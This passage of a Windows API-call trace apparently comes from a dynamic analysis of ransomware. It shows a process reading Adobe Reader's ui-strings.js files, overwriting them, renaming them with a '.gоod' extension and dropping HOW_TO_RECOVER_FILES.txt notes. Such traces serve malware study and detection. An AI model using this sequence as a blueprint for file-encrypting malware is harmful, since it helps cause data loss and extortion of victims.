"c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ja-jp\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x36dd870 | out: lpFileInformation=0x36dd870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x24b2)) returned 1 [0187.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0187.069] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0187.069] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0187.069] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ja-jp\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0187.070] GetFileType (hFile=0x630) returned 0x1 [0187.070] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0187.070] GetFileType (hFile=0x630) returned 0x1 [0187.070] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0187.070] ReadFile (in: hFile=0x630, lpBuffer=0x36ddd58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x36ddd58*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0187.072] CloseHandle (hObject=0x630) returned 1 [0187.072] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0187.072] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0187.072] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ja-jp\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0187.072] GetFileType (hFile=0x630) returned 0x1 [0187.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0187.072] GetFileType (hFile=0x630) returned 0x1 [0187.072] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x24b2 [0187.072] WriteFile (in: hFile=0x630, lpBuffer=0x36df0a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x36df0a8*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0187.073] CloseHandle (hObject=0x630) returned 1 [0187.073] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0187.073] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0187.073] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ja-jp\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0187.074] GetFileType (hFile=0x630) returned 0x1 [0187.074] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0187.074] GetFileType (hFile=0x630) returned 0x1 [0187.074] ReadFile (in: hFile=0x630, lpBuffer=0x36e1420, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x36e1420*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0187.798] CloseHandle (hObject=0x630) returned 1 [0187.798] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0187.799] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0187.799] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ja-jp\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0187.799] GetFileType (hFile=0x630) returned 0x1 [0187.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0187.799] GetFileType (hFile=0x630) returned 0x1 [0187.799] WriteFile (in: hFile=0x630, lpBuffer=0x36e0110*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x36e0110*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0187.799] CloseHandle (hObject=0x630) returned 1 [0187.799] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0187.799] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7d [0187.799] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0187.799] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ja-jp\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6c2741ea, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x24c2)) returned 1 [0187.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0187.800] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ja-jp\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ja-jp\\ui-strings.js.gоod")) returned 1 [0187.801] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x83 [0187.801] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0187.801] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ja-jp\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0187.802] GetFileType (hFile=0x630) returned 0x1 [0187.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0187.802] GetFileType (hFile=0x630) returned 0x1 [0187.802] WriteFile (in: hFile=0x630, lpBuffer=0x3cd21b0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x3cd21b0*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0187.803] CloseHandle (hObject=0x630) returned 1 [0187.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0187.804] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ko-kr", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ko-kr", lpFilePart=0x0) returned 0x6a [0187.804] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ko-kr\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ecdcf30 [0187.805] FindNextFileW (in: hFindFile=0x1ecdcf30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0187.805] FindNextFileW (in: hFindFile=0x1ecdcf30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1fe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0187.805] FindNextFileW (in: hFindFile=0x1ecdcf30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0187.805] FindClose (in: hFindFile=0x1ecdcf30 | out: hFindFile=0x1ecdcf30) returned 1 [0187.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0187.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0187.806] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0187.806] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ko-kr", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ko-kr", lpFilePart=0x0) returned 0x6a [0187.806] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ko-kr\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ecdd110 [0187.855] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0187.855] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1fe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0187.855] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1fe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0187.855] FindClose (in: hFindFile=0x1ecdd110 | out: hFindFile=0x1ecdd110) returned 1 [0187.855] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0187.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0187.856] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ko-kr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ko-kr\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0187.856] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0187.856] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ko-kr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ko-kr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3729730 | out: lpFileInformation=0x3729730*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1fe7)) returned 1 [0187.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0187.856] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ko-kr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ko-kr\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0187.856] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0187.856] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ko-kr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ko-kr\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0187.857] GetFileType (hFile=0x630) returned 0x1 [0187.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0187.857] GetFileType (hFile=0x630) returned 0x1 [0187.857] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0187.857] ReadFile (in: hFile=0x630, lpBuffer=0x3729c18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3729c18*, lpNumberOfBytesRead=0x1ffebaa8*=0xfe7, lpOverlapped=0x0) returned 1 [0188.112] CloseHandle (hObject=0x630) returned 1 [0188.112] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ko-kr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ko-kr\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0188.112] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0188.112] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ko-kr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ko-kr\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0188.112] GetFileType (hFile=0x630) returned 0x1 [0188.112] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0188.112] GetFileType (hFile=0x630) returned 0x1 [0188.112] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1fe7 [0188.112] WriteFile (in: hFile=0x630, lpBuffer=0x38df548*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x38df548*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0188.112] CloseHandle (hObject=0x630) returned 1 [0188.112] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ko-kr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ko-kr\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0188.113] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0188.113] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ko-kr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ko-kr\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0188.113] GetFileType (hFile=0x630) returned 0x1 [0188.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0188.113] GetFileType (hFile=0x630) returned 0x1 [0188.113] ReadFile (in: hFile=0x630, lpBuffer=0x38e1870, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x38e1870*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0188.167] CloseHandle (hObject=0x630) returned 1 [0188.168] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ko-kr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ko-kr\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0188.168] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0188.168] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ko-kr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ko-kr\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0188.168] GetFileType (hFile=0x630) returned 0x1 [0188.168] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0188.168] GetFileType (hFile=0x630) returned 0x1 [0188.168] WriteFile (in: hFile=0x630, lpBuffer=0x38e0560*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x38e0560*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0188.168] CloseHandle (hObject=0x630) returned 1 [0188.168] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ko-kr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ko-kr\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0188.168] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ko-kr\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ko-kr\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7d [0188.168] SetThreadErrorMode (dwNewMode=0x1, 